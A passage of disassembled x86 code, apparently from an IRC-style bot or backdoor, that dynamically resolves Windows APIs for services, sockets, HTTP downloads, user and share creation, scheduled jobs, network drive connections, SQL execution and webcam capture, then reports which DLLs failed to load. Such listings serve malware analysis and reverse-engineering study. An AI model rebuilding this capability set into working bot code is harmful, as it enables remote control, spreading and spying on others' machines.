					; sub_4089F2+329j
		mov	ds:dword_43A458, 1


loc_408D2B:				; CODE XREF: sub_4089F2+32Dj
		push	offset aOpenscmanagera ; "OpenSCManagerA"
		push	edi
		call	esi ; dword_4210C4
		push	offset aOpenservicea ; "OpenServiceA"
		push	edi
		mov	ds:dword_43A37C, eax
		call	esi ; dword_4210C4
		push	offset aStartservicea ;	"StartServiceA"
		push	edi
		mov	ds:dword_43A270, eax
		call	esi ; dword_4210C4
		push	offset aControlservice ; "ControlService"
		push	edi
		mov	ds:dword_43A278, eax
		call	esi ; dword_4210C4
		push	offset aDeleteservice ;	"DeleteService"
		push	edi
		mov	ds:dword_43A2D8, eax
		call	esi ; dword_4210C4
		push	offset aCloseserviceha ; "CloseServiceHandle"
		push	edi
		mov	ds:dword_43A2DC, eax
		call	esi ; dword_4210C4
		push	offset aEnumservicesst ; "EnumServicesStatusA"
		push	edi
		mov	ds:dword_43A28C, eax
		call	esi ; dword_4210C4
		push	offset aIsvalidsecurit ; "IsValidSecurityDescriptor"
		push	edi
		mov	ds:dword_43A348, eax
		call	esi ; dword_4210C4
		cmp	ds:dword_43A37C, ebx
		mov	ds:dword_43A27C, eax
		jz	short loc_408DCF
		cmp	ds:dword_43A270, ebx
		jz	short loc_408DCF
		cmp	ds:dword_43A278, ebx
		jz	short loc_408DCF
		cmp	ds:dword_43A2D8, ebx
		jz	short loc_408DCF
		cmp	ds:dword_43A2DC, ebx
		jz	short loc_408DCF
		cmp	ds:dword_43A28C, ebx
		jz	short loc_408DCF
		cmp	ds:dword_43A348, ebx
		jz	short loc_408DCF
		cmp	eax, ebx
		jnz	short loc_408DD9


loc_408DCF:				; CODE XREF: sub_4089F2+3A7j
					; sub_4089F2+3AFj ...
		mov	ds:dword_43A458, 1


loc_408DD9:				; CODE XREF: sub_4089F2+3DBj
		push	offset aGetusernamea ; "GetUserNameA"
		push	edi
		call	esi ; dword_4210C4
		cmp	eax, ebx
		mov	ds:dword_43A274, eax
		jnz	short loc_408E01
		jmp	short loc_408DF7
; ---------------------------------------------------------------------------


loc_408DEC:				; CODE XREF: sub_4089F2+26Aj
		call	ds:dword_421088	; RtlGetLastWin32Error
		mov	ds:dword_43A45C, eax


loc_408DF7:				; CODE XREF: sub_4089F2+3F8j
		mov	ds:dword_43A458, 1


loc_408E01:				; CODE XREF: sub_4089F2+3F6j
		push	offset aGdi32_dll ; "gdi32.dll"
		call	ebp ; dword_4210C8
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_408ECD
		push	offset aCreatedca ; "CreateDCA"
		push	edi
		call	esi ; dword_4210C4
		push	offset aCreatedibsecti ; "CreateDIBSection"
		push	edi
		mov	ds:dword_43A374, eax
		call	esi ; dword_4210C4
		push	offset aCreatecompatib ; "CreateCompatibleDC"
		push	edi
		mov	ds:dword_43A3CC, eax
		call	esi ; dword_4210C4
		push	offset aGetdevicecaps ;	"GetDeviceCaps"
		push	edi
		mov	ds:dword_43A3D4, eax
		call	esi ; dword_4210C4
		push	offset aGetdibcolortab ; "GetDIBColorTable"
		push	edi
		mov	ds:dword_43A390, eax
		call	esi ; dword_4210C4
		push	offset aSelectobject ; "SelectObject"
		push	edi
		mov	ds:dword_43A2B8, eax
		call	esi ; dword_4210C4
		push	offset aBitblt	; "BitBlt"
		push	edi
		mov	ds:dword_43A264, eax
		call	esi ; dword_4210C4
		push	offset aDeletedc ; "DeleteDC"
		push	edi
		mov	ds:dword_43A3D0, eax
		call	esi ; dword_4210C4
		push	offset aDeleteobject ; "DeleteObject"
		push	edi
		mov	ds:dword_43A250, eax
		call	esi ; dword_4210C4
		cmp	ds:dword_43A374, ebx
		mov	ds:dword_43A2EC, eax
		jz	short loc_408ED8
		cmp	ds:dword_43A3CC, ebx
		jz	short loc_408ED8
		cmp	ds:dword_43A3D4, ebx
		jz	short loc_408ED8
		cmp	ds:dword_43A390, ebx
		jz	short loc_408ED8
		cmp	ds:dword_43A2B8, ebx
		jz	short loc_408ED8
		cmp	ds:dword_43A264, ebx
		jz	short loc_408ED8
		cmp	ds:dword_43A3D0, ebx
		jz	short loc_408ED8
		cmp	ds:dword_43A250, ebx
		jz	short loc_408ED8
		cmp	eax, ebx
		jnz	short loc_408EE2
		jmp	short loc_408ED8
; ---------------------------------------------------------------------------


loc_408ECD:				; CODE XREF: sub_4089F2+41Aj
		call	ds:dword_421088	; RtlGetLastWin32Error
		mov	ds:dword_43A464, eax


loc_408ED8:				; CODE XREF: sub_4089F2+49Bj
					; sub_4089F2+4A3j ...
		mov	ds:dword_43A460, 1


loc_408EE2:				; CODE XREF: sub_4089F2+4D7j
		mov	ebp, ds:dword_4210C0
		push	offset aWs2_32_dll ; "ws2_32.dll"
		call	ebp ; dword_4210C0
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40919E
		push	offset aWsastartup ; "WSAStartup"
		push	edi
		call	esi ; dword_4210C4
		push	offset aWsasocketa ; "WSASocketA"
		push	edi
		mov	ds:dword_43A300, eax
		call	esi ; dword_4210C4
		push	offset aWsaasyncselect ; "WSAAsyncSelect"
		push	edi
		mov	ds:dword_43A42C, eax
		call	esi ; dword_4210C4
		push	offset a__wsafdisset ; "__WSAFDIsSet"
		push	edi
		mov	ds:dword_43A2A4, eax
		call	esi ; dword_4210C4
		push	offset aWsaioctl ; "WSAIoctl"
		push	edi
		mov	ds:dword_43A280, eax
		call	esi ; dword_4210C4
		push	offset aWsagetlasterro ; "WSAGetLastError"
		push	edi
		mov	ds:dword_43A334, eax
		call	esi ; dword_4210C4
		push	offset aWsacleanup ; "WSACleanup"
		push	edi
		mov	ds:dword_43A31C, eax
		call	esi ; dword_4210C4
		push	offset aSocket	; "socket"
		push	edi
		mov	ds:dword_43A2E8, eax
		call	esi ; dword_4210C4
		push	offset aIoctlsocket ; "ioctlsocket"
		push	edi
		mov	ds:dword_43A408, eax
		call	esi ; dword_4210C4
		push	offset aConnect	; "connect"
		push	edi
		mov	ds:dword_43A424, eax
		call	esi ; dword_4210C4
		push	offset aInet_ntoa ; "inet_ntoa"
		push	edi
		mov	ds:dword_43A330, eax
		call	esi ; dword_4210C4
		push	offset aInet_addr ; "inet_addr"
		push	edi
		mov	ds:dword_43A414, eax
		call	esi ; dword_4210C4
		push	offset aHtons	; "htons"
		push	edi
		mov	ds:dword_43A3C8, eax
		call	esi ; dword_4210C4
		push	offset aHtonl	; "htonl"
		push	edi
		mov	ds:dword_43A388, eax
		call	esi ; dword_4210C4
		push	offset aNtohs	; "ntohs"
		push	edi
		mov	ds:dword_43A384, eax
		call	esi ; dword_4210C4
		push	offset aNtohl	; "ntohl"
		push	edi
		mov	ds:dword_43A2C4, eax
		call	esi ; dword_4210C4
		push	offset aSend	; "send"
		push	edi
		mov	ds:dword_43A2BC, eax
		call	esi ; dword_4210C4
		push	offset aSendto	; "sendto"
		push	edi
		mov	ds:dword_43A3D8, eax
		call	esi ; dword_4210C4
		push	offset aRecv	; "recv"
		push	edi
		mov	ds:dword_43A3EC, eax
		call	esi ; dword_4210C4
		push	offset aRecvfrom ; "recvfrom"
		push	edi
		mov	ds:dword_43A3A0, eax
		call	esi ; dword_4210C4
		mov	ds:dword_43A360, eax
		push	offset aBind	; "bind"
		push	edi
		call	esi ; dword_4210C4
		push	offset aSelect	; "select"
		push	edi
		mov	ds:dword_43A3B4, eax
		call	esi ; dword_4210C4
		push	offset aListen	; "listen"
		push	edi
		mov	ds:dword_43A370, eax
		call	esi ; dword_4210C4
		push	offset aAccept	; "accept"
		push	edi
		mov	ds:dword_43A3B0, eax
		call	esi ; dword_4210C4
		push	offset aSetsockopt ; "setsockopt"
		push	edi
		mov	ds:dword_43A41C, eax
		call	esi ; dword_4210C4
		push	offset aGetsockname ; "getsockname"
		push	edi
		mov	ds:dword_43A368, eax
		call	esi ; dword_4210C4
		push	offset aGethostname ; "gethostname"
		push	edi
		mov	ds:dword_43A32C, eax
		call	esi ; dword_4210C4
		push	offset aGethostbyname ;	"gethostbyname"
		push	edi
		mov	ds:dword_43A39C, eax
		call	esi ; dword_4210C4
		push	offset aGethostbyaddr ;	"gethostbyaddr"
		push	edi
		mov	ds:dword_43A40C, eax
		call	esi ; dword_4210C4
		push	offset aGetpeername ; "getpeername"
		push	edi
		mov	ds:dword_43A340, eax
		call	esi ; dword_4210C4
		push	offset aClosesocket ; "closesocket"
		push	edi
		mov	ds:dword_43A2E4, eax
		call	esi ; dword_4210C4
		cmp	ds:dword_43A300, ebx
		mov	ds:dword_43A420, eax
		jz	loc_4091A9
		cmp	ds:dword_43A42C, ebx
		jz	loc_4091A9
		cmp	ds:dword_43A2A4, ebx
		jz	loc_4091A9
		cmp	ds:dword_43A334, ebx
		jz	loc_4091A9
		cmp	ds:dword_43A31C, ebx
		jz	loc_4091A9
		cmp	ds:dword_43A2E8, ebx
		jz	loc_4091A9
		cmp	ds:dword_43A408, ebx
		jz	loc_4091A9
		cmp	ds:dword_43A424, ebx
		jz	loc_4091A9
		cmp	ds:dword_43A330, ebx
		jz	loc_4091A9
		cmp	ds:dword_43A414, ebx
		jz	loc_4091A9
		cmp	ds:dword_43A3C8, ebx
		jz	loc_4091A9
		cmp	ds:dword_43A388, ebx
		jz	loc_4091A9
		cmp	ds:dword_43A384, ebx
		jz	loc_4091A9
		cmp	ds:dword_43A2C4, ebx
		jz	short loc_4091A9
		cmp	ds:dword_43A3D8, ebx
		jz	short loc_4091A9
		cmp	ds:dword_43A3EC, ebx
		jz	short loc_4091A9
		cmp	ds:dword_43A3A0, ebx
		jz	short loc_4091A9
		cmp	ds:dword_43A360, ebx
		jz	short loc_4091A9
		cmp	ds:dword_43A3B4, ebx
		jz	short loc_4091A9
		cmp	ds:dword_43A370, ebx
		jz	short loc_4091A9
		cmp	ds:dword_43A3B0, ebx
		jz	short loc_4091A9
		cmp	ds:dword_43A41C, ebx
		jz	short loc_4091A9
		cmp	ds:dword_43A368, ebx
		jz	short loc_4091A9
		cmp	ds:dword_43A32C, ebx
		jz	short loc_4091A9
		cmp	ds:dword_43A39C, ebx
		jz	short loc_4091A9
		cmp	ds:dword_43A40C, ebx
		jz	short loc_4091A9
		cmp	ds:dword_43A340, ebx
		jz	short loc_4091A9
		cmp	eax, ebx
		jnz	short loc_4091B3
		jmp	short loc_4091A9
; ---------------------------------------------------------------------------


loc_40919E:				; CODE XREF: sub_4089F2+501j
		call	ds:dword_421088	; RtlGetLastWin32Error
		mov	ds:dword_43A46C, eax


loc_4091A9:				; CODE XREF: sub_4089F2+6A0j
					; sub_4089F2+6ACj ...
		mov	ds:dword_43A468, 1


loc_4091B3:				; CODE XREF: sub_4089F2+7A8j
		push	offset aWininet_dll ; "wininet.dll"
		call	ebp ; dword_4210C0
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_4092B8
		push	offset aInternetgetcon ; "InternetGetConnectedState"
		push	edi
		call	esi ; dword_4210C4
		push	offset aInternetgetc_0 ; "InternetGetConnectedStateEx"
		push	edi
		mov	ds:dword_43A2CC, eax
		call	esi ; dword_4210C4
		push	offset aHttpopenreques ; "HttpOpenRequestA"
		push	edi
		mov	ds:dword_43A258, eax
		call	esi ; dword_4210C4
		push	offset aHttpsendreques ; "HttpSendRequestA"
		push	edi
		mov	ds:dword_43A350, eax
		call	esi ; dword_4210C4
		push	offset aInternetconnec ; "InternetConnectA"
		push	edi
		mov	ds:dword_43A304, eax
		call	esi ; dword_4210C4
		push	offset aInternetopena ;	"InternetOpenA"
		push	edi
		mov	ds:dword_43A35C, eax
		call	esi ; dword_4210C4
		push	offset aInternetopenur ; "InternetOpenUrlA"
		push	edi
		mov	ds:dword_43A320, eax
		call	esi ; dword_4210C4
		push	offset aInternetcracku ; "InternetCrackUrlA"
		push	edi
		mov	ds:dword_43A298, eax
		call	esi ; dword_4210C4
		push	offset aInternetreadfi ; "InternetReadFile"
		push	edi
		mov	ds:dword_43A290, eax
		call	esi ; dword_4210C4
		push	offset aInternetcloseh ; "InternetCloseHandle"
		push	edi
		mov	ds:dword_43A2A0, eax
		call	esi ; dword_4210C4
		cmp	ds:dword_43A2CC, ebx
		mov	ecx, ds:dword_43A320
		mov	ds:dword_43A3BC, eax
		jz	short loc_409294
		cmp	ds:dword_43A258, ebx
		jz	short loc_409294
		cmp	ds:dword_43A350, ebx
		jz	short loc_409294
		cmp	ds:dword_43A304, ebx
		jz	short loc_409294
		cmp	ds:dword_43A35C, ebx
		jz	short loc_409294
		cmp	ecx, ebx
		jz	short loc_409294
		cmp	ds:dword_43A298, ebx
		jz	short loc_409294
		cmp	ds:dword_43A290, ebx
		jz	short loc_409294
		cmp	ds:dword_43A2A0, ebx
		jz	short loc_409294
		cmp	eax, ebx
		jnz	short loc_40929E


loc_409294:				; CODE XREF: sub_4089F2+860j
					; sub_4089F2+868j ...
		mov	ds:dword_43A470, 1


loc_40929E:				; CODE XREF: sub_4089F2+8A0j
		cmp	ecx, ebx
		jz	short loc_4092D3
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)"
		call	ecx ; dword_43A320
		cmp	eax, ebx
		mov	ds:dword_43A338, eax
		jnz	short loc_4092D3
		jmp	short loc_4092CD
; ---------------------------------------------------------------------------


loc_4092B8:				; CODE XREF: sub_4089F2+7CCj
		call	ds:dword_421088	; RtlGetLastWin32Error
		mov	ds:dword_43A474, eax
		mov	ds:dword_43A470, 1


loc_4092CD:				; CODE XREF: sub_4089F2+8C4j
		mov	ds:dword_43A338, ebx


loc_4092D3:				; CODE XREF: sub_4089F2+8AEj
					; sub_4089F2+8C2j
		push	offset aIcmp_dll ; "icmp.dll"
		call	ebp ; dword_4210C0
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40931D
		push	offset aIcmpcreatefile ; "IcmpCreateFile"
		push	edi
		call	esi ; dword_4210C4
		push	offset aIcmpclosehandl ; "IcmpCloseHandle"
		push	edi
		mov	ds:dword_43A314, eax
		call	esi ; dword_4210C4
		push	offset aIcmpsendecho ; "IcmpSendEcho"
		push	edi
		mov	ds:dword_43A440, eax
		call	esi ; dword_4210C4
		cmp	ds:dword_43A314, ebx
		mov	ds:dword_43A2AC, eax
		jz	short loc_409328
		cmp	ds:dword_43A440, ebx
		jz	short loc_409328
		cmp	eax, ebx
		jnz	short loc_409332
		jmp	short loc_409328
; ---------------------------------------------------------------------------


loc_40931D:				; CODE XREF: sub_4089F2+8ECj
		call	ds:dword_421088	; RtlGetLastWin32Error
		mov	ds:dword_43A47C, eax


loc_409328:				; CODE XREF: sub_4089F2+91Bj
					; sub_4089F2+923j ...
		mov	ds:dword_43A478, 1


loc_409332:				; CODE XREF: sub_4089F2+927j
		push	offset aNetapi32_dll ; "netapi32.dll"
		call	ebp ; dword_4210C0
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_409428
		push	offset aNetshareadd ; "NetShareAdd"
		push	edi
		call	esi ; dword_4210C4
		push	offset aNetsharedel ; "NetShareDel"
		push	edi
		mov	ds:dword_43A288, eax
		call	esi ; dword_4210C4
		push	offset aNetshareenum ; "NetShareEnum"
		push	edi
		mov	ds:dword_43A260, eax
		call	esi ; dword_4210C4
		push	offset aNetschedulejob ; "NetScheduleJobAdd"
		push	edi
		mov	ds:dword_43A2D4, eax
		call	esi ; dword_4210C4
		push	offset aNetapibufferfr ; "NetApiBufferFree"
		push	edi
		mov	ds:dword_43A308, eax
		call	esi ; dword_4210C4
		push	offset aNetremotetod ; "NetRemoteTOD"
		push	edi
		mov	ds:dword_43A418, eax
		call	esi ; dword_4210C4
		push	offset aNetuseradd ; "NetUserAdd"
		push	edi
		mov	ds:dword_43A2C0, eax
		call	esi ; dword_4210C4
		push	offset aNetuserdel ; "NetUserDel"
		push	edi
		mov	ds:dword_43A26C, eax
		call	esi ; dword_4210C4
		push	offset aNetuserenum ; "NetUserEnum"
		push	edi
		mov	ds:dword_43A25C, eax
		call	esi ; dword_4210C4
		push	offset aNetusergetinfo ; "NetUserGetInfo"
		push	edi
		mov	ds:dword_43A2F0, eax
		call	esi ; dword_4210C4
		push	offset aNetmessagebuff ; "NetMessageBufferSend"
		push	edi
		mov	ds:dword_43A3E0, eax
		call	esi ; dword_4210C4
		cmp	ds:dword_43A288, ebx
		mov	ds:dword_43A398, eax
		jz	short loc_409433
		cmp	ds:dword_43A260, ebx
		jz	short loc_409433
		cmp	ds:dword_43A2D4, ebx
		jz	short loc_409433
		cmp	ds:dword_43A308, ebx
		jz	short loc_409433
		cmp	ds:dword_43A418, ebx
		jz	short loc_409433
		cmp	ds:dword_43A2C0, ebx
		jz	short loc_409433
		cmp	ds:dword_43A26C, ebx
		jz	short loc_409433
		cmp	ds:dword_43A25C, ebx
		jz	short loc_409433
		cmp	ds:dword_43A2F0, ebx
		jz	short loc_409433
		cmp	ds:dword_43A3E0, ebx
		jz	short loc_409433
		cmp	eax, ebx
		jnz	short loc_40943D
		jmp	short loc_409433
; ---------------------------------------------------------------------------


loc_409428:				; CODE XREF: sub_4089F2+94Bj
		call	ds:dword_421088	; RtlGetLastWin32Error
		mov	ds:dword_43A484, eax


loc_409433:				; CODE XREF: sub_4089F2+9E6j
					; sub_4089F2+9EEj ...
		mov	ds:dword_43A480, 1


loc_40943D:				; CODE XREF: sub_4089F2+A32j
		push	offset aDnsapi_dll ; "dnsapi.dll"
		call	ebp ; dword_4210C0
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_409472
		push	offset aDnsflushresolv ; "DnsFlushResolverCache"
		push	edi
		call	esi ; dword_4210C4
		push	offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A"
		push	edi
		mov	ds:dword_43A2B0, eax
		call	esi ; dword_4210C4
		cmp	ds:dword_43A2B0, ebx
		mov	ds:dword_43A380, eax
		jz	short loc_40947D
		cmp	eax, ebx
		jnz	short loc_409487
		jmp	short loc_40947D
; ---------------------------------------------------------------------------


loc_409472:				; CODE XREF: sub_4089F2+A56j
		call	ds:dword_421088	; RtlGetLastWin32Error
		mov	ds:dword_43A48C, eax


loc_40947D:				; CODE XREF: sub_4089F2+A78j
					; sub_4089F2+A7Ej
		mov	ds:dword_43A488, 1


loc_409487:				; CODE XREF: sub_4089F2+A7Cj
		push	offset aIphlpapi_dll ; "iphlpapi.dll"
		call	ebp ; dword_4210C0
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_4094BC
		push	offset aGetipnettable ;	"GetIpNetTable"
		push	edi
		call	esi ; dword_4210C4
		push	offset aDeleteipnetent ; "DeleteIpNetEntry"
		push	edi
		mov	ds:dword_43A404, eax
		call	esi ; dword_4210C4
		cmp	ds:dword_43A404, ebx
		mov	ds:dword_43A400, eax
		jz	short loc_4094C7
		cmp	eax, ebx
		jnz	short loc_4094D1
		jmp	short loc_4094C7
; ---------------------------------------------------------------------------


loc_4094BC:				; CODE XREF: sub_4089F2+AA0j
		call	ds:dword_421088	; RtlGetLastWin32Error
		mov	ds:dword_43A494, eax


loc_4094C7:				; CODE XREF: sub_4089F2+AC2j
					; sub_4089F2+AC8j
		mov	ds:dword_43A490, 1


loc_4094D1:				; CODE XREF: sub_4089F2+AC6j
		push	offset aMpr_dll	; "mpr.dll"
		call	ebp ; dword_4210C0
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_409530
		push	offset aWnetaddconnect ; "WNetAddConnection2A"
		push	edi
		call	esi ; dword_4210C4
		push	offset aWnetaddconne_0 ; "WNetAddConnection2W"
		push	edi
		mov	ds:dword_43A430, eax
		call	esi ; dword_4210C4
		push	offset aWnetcancelconn ; "WNetCancelConnection2A"
		push	edi
		mov	ds:dword_43A428, eax
		call	esi ; dword_4210C4
		push	offset aWnetcancelco_0 ; "WNetCancelConnection2W"
		push	edi
		mov	ds:dword_43A3F0, eax
		call	esi ; dword_4210C4
		cmp	ds:dword_43A430, ebx
		mov	ds:dword_43A2C8, eax
		jz	short loc_40953B
		cmp	ds:dword_43A428, ebx
		jz	short loc_40953B
		cmp	ds:dword_43A3F0, ebx
		jz	short loc_40953B
		cmp	eax, ebx
		jnz	short loc_409545
		jmp	short loc_40953B
; ---------------------------------------------------------------------------


loc_409530:				; CODE XREF: sub_4089F2+AEAj
		call	ds:dword_421088	; RtlGetLastWin32Error
		mov	ds:dword_43A49C, eax


loc_40953B:				; CODE XREF: sub_4089F2+B26j
					; sub_4089F2+B2Ej ...
		mov	ds:dword_43A498, 1


loc_409545:				; CODE XREF: sub_4089F2+B3Aj
		push	offset aShell32_dll ; "shell32.dll"
		call	ebp ; dword_4210C0
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40957A
		push	offset aShellexecutea ;	"ShellExecuteA"
		push	edi
		call	esi ; dword_4210C4
		push	offset aShchangenotify ; "SHChangeNotify"
		push	edi
		mov	ds:dword_43A2FC, eax
		call	esi ; dword_4210C4
		cmp	ds:dword_43A2FC, ebx
		mov	ds:dword_43A3FC, eax
		jz	short loc_409585
		cmp	eax, ebx
		jnz	short loc_40958F
		jmp	short loc_409585
; ---------------------------------------------------------------------------


loc_40957A:				; CODE XREF: sub_4089F2+B5Ej
		call	ds:dword_421088	; RtlGetLastWin32Error
		mov	ds:dword_43A4A4, eax


loc_409585:				; CODE XREF: sub_4089F2+B80j
					; sub_4089F2+B86j
		mov	ds:dword_43A4A0, 1


loc_40958F:				; CODE XREF: sub_4089F2+B84j
		push	offset aOdbc32_dll ; "odbc32.dll"
		call	ebp ; dword_4210C0
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_409618
		push	offset aSqldriverconne ; "SQLDriverConnect"
		push	edi
		call	esi ; dword_4210C4
		push	offset aSqlsetenvattr ;	"SQLSetEnvAttr"
		push	edi
		mov	ds:dword_43A3C4, eax
		call	esi ; dword_4210C4
		push	offset aSqlexecdirect ;	"SQLExecDirect"
		push	edi
		mov	ds:dword_43A410, eax
		call	esi ; dword_4210C4
		push	offset aSqlallochandle ; "SQLAllocHandle"
		push	edi
		mov	ds:dword_43A34C, eax
		call	esi ; dword_4210C4
		push	offset aSqlfreehandle ;	"SQLFreeHandle"
		push	edi
		mov	ds:dword_43A30C, eax
		call	esi ; dword_4210C4
		push	offset aSqldisconnect ;	"SQLDisconnect"
		push	edi
		mov	ds:dword_43A3A4, eax
		call	esi ; dword_4210C4
		cmp	ds:dword_43A3C4, ebx
		mov	ds:dword_43A318, eax
		jz	short loc_409623
		cmp	ds:dword_43A410, ebx
		jz	short loc_409623
		cmp	ds:dword_43A34C, ebx
		jz	short loc_409623
		cmp	ds:dword_43A30C, ebx
		jz	short loc_409623
		cmp	ds:dword_43A3A4, ebx
		jz	short loc_409623
		cmp	eax, ebx
		jnz	short loc_40962D
		jmp	short loc_409623
; ---------------------------------------------------------------------------


loc_409618:				; CODE XREF: sub_4089F2+BA8j
		call	ds:dword_421088	; RtlGetLastWin32Error
		mov	ds:dword_43A4AC, eax


loc_409623:				; CODE XREF: sub_4089F2+BFEj
					; sub_4089F2+C06j ...
		mov	ds:dword_43A4A8, 1


loc_40962D:				; CODE XREF: sub_4089F2+C22j
		push	offset aAvicap32_dll ; "avicap32.dll"
		call	ebp ; dword_4210C0
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_409662
		push	offset aCapcreatecaptu ; "capCreateCaptureWindowA"
		push	edi
		call	esi ; dword_4210C4
		push	offset aCapgetdriverde ; "capGetDriverDescriptionA"
		push	edi
		mov	ds:dword_43A2E0, eax
		call	esi ; dword_4210C4
		cmp	ds:dword_43A2E0, ebx
		mov	ds:dword_43A3B8, eax
		jz	short loc_40966D
		cmp	eax, ebx
		jnz	short loc_409677
		jmp	short loc_40966D
; ---------------------------------------------------------------------------


loc_409662:				; CODE XREF: sub_4089F2+C46j
		call	ds:dword_421088	; RtlGetLastWin32Error
		mov	ds:dword_43A4B4, eax


loc_40966D:				; CODE XREF: sub_4089F2+C68j
					; sub_4089F2+C6Ej
		mov	ds:dword_43A4B0, 1


loc_409677:				; CODE XREF: sub_4089F2+C6Cj
		push	1
		pop	eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_4089F2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40967F	proc near		; CODE XREF: seg000:00412050p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		xor	esi, esi
		cmp	ds:dword_43A448, esi
		push	edi
		mov	edi, [ebp+arg_8]
		jz	short loc_4096C7
		push	ds:dword_43A44C
		lea	eax, [ebp+var_200]
		push	offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>"
		push	eax
		call	sub_4154E9
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_412D4E
		add	esp, 20h


loc_4096C7:				; CODE XREF: sub_40967F+1Aj
		cmp	ds:dword_43A450, esi
		jz	short loc_4096FB
		push	ds:dword_43A454
		lea	eax, [ebp+var_200]
		push	offset aUser32_dllFail ; "User32.dll failed. <%d>"
		push	eax
		call	sub_4154E9
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_412D4E
		add	esp, 20h


loc_4096FB:				; CODE XREF: sub_40967F+4Ej
		cmp	ds:dword_43A458, esi
		jz	short loc_40972F
		push	ds:dword_43A45C
		lea	eax, [ebp+var_200]
		push	offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>"
		push	eax
		call	sub_4154E9
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_412D4E
		add	esp, 20h


loc_40972F:				; CODE XREF: sub_40967F+82j
		cmp	ds:dword_43A460, esi
		jz	short loc_409763
		push	ds:dword_43A464
		lea	eax, [ebp+var_200]
		push	offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>"
		push	eax
		call	sub_4154E9
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_412D4E
		add	esp, 20h


loc_409763:				; CODE XREF: sub_40967F+B6j
		cmp	ds:dword_43A468, esi
		jz	short loc_409797
		push	ds:dword_43A46C
		lea	eax, [ebp+var_200]
		push	offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>"
		push	eax
		call	sub_4154E9
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_412D4E
		add	esp, 20h


loc_409797:				; CODE XREF: sub_40967F+EAj
		cmp	ds:dword_43A470, esi
		jz	short loc_4097CB
		push	ds:dword_43A474
		lea	eax, [ebp+var_200]
		push	offset aWininet_dllFai ; "Wininet.dll failed. <%d>"
		push	eax
		call	sub_4154E9
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_412D4E
		add	esp, 20h


loc_4097CB:				; CODE XREF: sub_40967F+11Ej
		cmp	ds:dword_43A478, esi
		jz	short loc_4097FF
		push	ds:dword_43A47C
		lea	eax, [ebp+var_200]
		push	offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>"
		push	eax
		call	sub_4154E9
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_412D4E
		add	esp, 20h


loc_4097FF:				; CODE XREF: sub_40967F+152j
		cmp	ds:dword_43A480, esi
		jz	short loc_409833
		push	ds:dword_43A484
		lea	eax, [ebp+var_200]
		push	offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>"
		push	eax
		call	sub_4154E9
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_412D4E
		add	esp, 20h


loc_409833:				; CODE XREF: sub_40967F+186j
		cmp	ds:dword_43A488, esi
		jz	short loc_409867
		push	ds:dword_43A48C
		lea	eax, [ebp+var_200]
		push	offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>"
		push	eax
		call	sub_4154E9
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_412D4E
		add	esp, 20h


loc_409867:				; CODE XREF: sub_40967F+1BAj
		cmp	ds:dword_43A490, esi
		jz	short loc_40989B
		push	ds:dword_43A494
		lea	eax, [ebp+var_200]
		push	offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>"
		push	eax
		call	sub_4154E9
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_412D4E
		add	esp, 20h


loc_40989B:				; CODE XREF: sub_40967F+1EEj
		cmp	ds:dword_43A498, esi
		jz	short loc_4098CF
		push	ds:dword_43A49C
		lea	eax, [ebp+var_200]
		push	offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>"
		push	eax
		call	sub_4154E9
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_412D4E
		add	esp, 20h


loc_4098CF:				; CODE XREF: sub_40967F+222j
		cmp	ds:dword_43A4A0, esi
		jz	short loc_409903
		push	ds:dword_43A4A4
		lea	eax, [ebp+var_200]
		push	offset aShell32_dllFai ; "Shell32.dll failed. <%d>"
		push	eax
		call	sub_4154E9
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_412D4E
		add	esp, 20h


loc_409903:				; CODE XREF: sub_40967F+256j
		cmp	ds:dword_43A4A8, esi
